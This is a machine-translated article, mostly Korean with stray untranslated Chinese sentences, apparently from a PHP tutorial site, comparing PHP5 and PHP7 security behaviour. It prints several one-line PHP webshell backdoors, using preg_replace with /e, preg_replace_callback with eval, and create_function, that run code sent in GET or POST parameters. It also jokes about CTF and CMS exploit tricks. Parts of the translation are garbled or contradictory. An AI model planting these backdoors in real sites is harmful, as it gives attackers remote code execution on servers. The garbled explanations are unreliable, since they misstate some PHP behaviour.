함수 수정
preg_replace()는 더 이상 /e 수정자를 지원하지 않습니다
<?php preg_replace("/.*/e",$_GET["h"],"."); ?>
우리는 코드를 실행하기 위해 e 수정자를 사용하는 많은 백도어를 사용했습니다. 자세한 내용은 다음 공식 설명을 참조하세요.
如果设置了这个被弃用的修饰符, preg_replace() 在进行了对替换字符串的 后向引用替换之后, 将替换后的字符串作为php 代码评估执行(eval 函数方式),并使用执行结果 作为实际参与替换的字符串。单引号、双引号、反斜线()和 NULL 字符在 后向引用替换时会被用反斜线转义.
매우 불행하게도 e 수정자는 더 이상 PHP7 이상에서 지원되지 않습니다. 동시에 공식에서는 새로운 함수 preg_replace_callback을 제공했습니다:
권장 매뉴얼: PHP7 새로운 기능 매뉴얼
여기서 사용할 수 있습니다. 백도어를 실행하면 약간의 변화가 있습니다:
<?php preg_replace_callback("/.*/",function ($a){@eval($a[0]);},$_GET["h"]); ?>
create_function()이 폐기됩니다
<?php $func =create_function('',$_POST['cmd']);$func(); ?>
백도어로 사용할 수 있는 함수가 하나 적습니다. 실제로는 eval을 실행하여 구현됩니다. 없어도 되는.
mysql_* 시리즈의 모든 구성원이 제거되었습니다.
PHP7에서 이전 버전의 mysql_* 시리즈 기능을 사용하려면 이제 공식 버전이 제공되지 않습니다. 공식적인 권장 사항은 mysqli 또는 pdo_mysql입니다. 이는 향후 PHP의 SQL 주입 취약점이 크게 감소한다는 것을 의미합니까~
我已经很久没在目标站上挖到过sql注入了,全都是预编译!
unserialize()는 선택적 화이트리스트 매개변수를 추가합니다
$data = unserialize($serializedObj1 , ["allowed_classes" => true]); $data2 = unserialize($serializedObj2 , ["allowed_classes" => ["MyClass1", "MyClass2"]]);
사실 역직렬화된 데이터의 클래스 이름이 아닌 경우 화이트리스트입니다. 화이트리스트에 있으면 오류가 보고됩니다.
다음과 같은 오류가 보고됩니다!
클래스 이름이거나 부울 데이터일 수 있습니다. FALSE인 경우 모든 객체는 __PHP_Incomplete_Class 객체로 변환됩니다. TRUE는 무제한입니다. 화이트리스트를 구현하기 위해 클래스 이름을 전달할 수도 있습니다.
还好现在是可选不是必选,要是默认FALSE逼程序员弄白名单那就真的吐血了。
assert()는 더 이상 기본적으로 코드를 실행할 수 없습니다
이것이 너무 많은 말이 코드를 실행하기 위해 사용되는 이유입니다. 이 업데이트는 기본적으로 전체 그룹을 제거합니다. 정상적인 상황이라면 수정하시면 됩니다~
Syntax 수정
foreach는 더 이상 내부 배열 포인터를 변경하지 않습니다
<?php $a = array('1','2','3'); foreach ($a as $k=>&$n){ echo ""; } print_r($a); foreach ($a as $k=>$n){ echo ""; } print_r($a);
php5에 이런 코드를 넣으면 실행 결과는 이렇습니다.
배열이 마지막 요소의 $value 참조는 foreach 루프 후에도 여전히 유지되기 때문에 이전 포인터가 실제로 지속적으로 할당됩니다. php7에서 값으로 순회할 때 작업 값은 배열의 복사본이며 더 이상 후속 작업에 영향을 미치지 않습니다.
이 변경 사항은 PHP7에서 사용할 수 없는 일부 cms 구멍에 영향을 미칩니다... 내가 말하는 구멍이 무엇인지 아실 겁니다.
这个问题在PHP7.0.0以后的版本又被改回去了,只影响这一个版本。
8진수 문자의 내결함성 비율이 감소합니다
php5 버전에서는 8진수 문자에 잘못된 숫자가 포함되어 있으면 잘못된 숫자가 자동으로 잘립니다.
<?php echo octdec( '012999999999999' ) . "\n"; echo octdec( '012' ) . "\n"; if (octdec( '012999999999999' )==octdec( '012' )){ echo ": )". "\n"; }
예를 들어 php5에서 이 코드의 실행 결과는 다음과 같습니다.
그러나 php7에서는 구문 분석 오류가 발생합니다.
这个问题同样在PHP7.0.0以后的版本又被改回去了,只影响这一个版本。
16진수 문자열은 더 이상 숫자로 간주되지 않습니다.
이 변경이 이루어지면 앞으로는 CTF 루틴이 훨씬 줄어들 것입니다~
많은 멋진 작업이 더 이상 작동하지 않습니다~
별도의 작업이 없습니다. 내가 이해하는 모든 사람에게 이것에 대해 말하십시오.
<?php var_dump("0x123" == "291"); var_dump(is_numeric("0x123")); var_dump("0xe" + "0x1"); var_dump(substr("foo", "0x1")); ?>
위 코드는 PHP5에서 다음과 같이 실행됩니다.
PHP7은 다음과 같이 실행됩니다.
你以为我要说这个在后续版本被改回去了?不,目前截至最新的PHP7.3版本依然没有改回去的征兆,官方称不会在改了。这个讲道理还是蛮伤的。
ASP 및 스크립트 PHP 태그가 제거됨
지금만< ?php ?> 이와 같은 태그는 이제 php7에서 실행될 수 있습니다.
字面意思,影响其实不是很大(只是以后骚套路会少一点)。
과대 부동 소수점 수형 변환 및 잘림
부동 소수점 수를 정수로 변환할 때 부동 소수점 값이 정수로 표현하기에는 너무 큰 경우, PHP5 버전에서는 변환이 바로 잘립니다. 정수는 오류를 발생시키지 않습니다. PHP7에서는 오류가 보고됩니다.
CTF又少一个出题套路,这个问题我只在CTF上见过,影响应该不大。
기타
exec(), system() passthru()函数对 NULL 增加了保护. list()不再能解开字符串string变量 $HTTP_RAW_POST_DATA 被移除 __autoload() 方法被废弃 parse_str() 不加第二个参数会直接把字符串导入当前的符号表,如果加了就会转换称一个数组。现在是第二个参数是强行选项了。 统一不同平台下的整型长度 session_start() 可以加入一个数组覆盖php.ini的配置
相关文章推荐:
1.php7和php5有什么不同之处?php5与php7之间的对比
2.PHP5.5至PHP7.2 新特性整理
3.php7的垃圾回收和php5有什么区别
相关视频推荐:
1.独孤九贱(4)_PHP视频教程
相关推荐:《PHP教程》
本篇文章就是关于PHP7和PHP5在安全上的区别介绍,希望对需要的朋友有所帮助!
위 내용은 PHP7과 PHP5의 보안 차이(예)의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!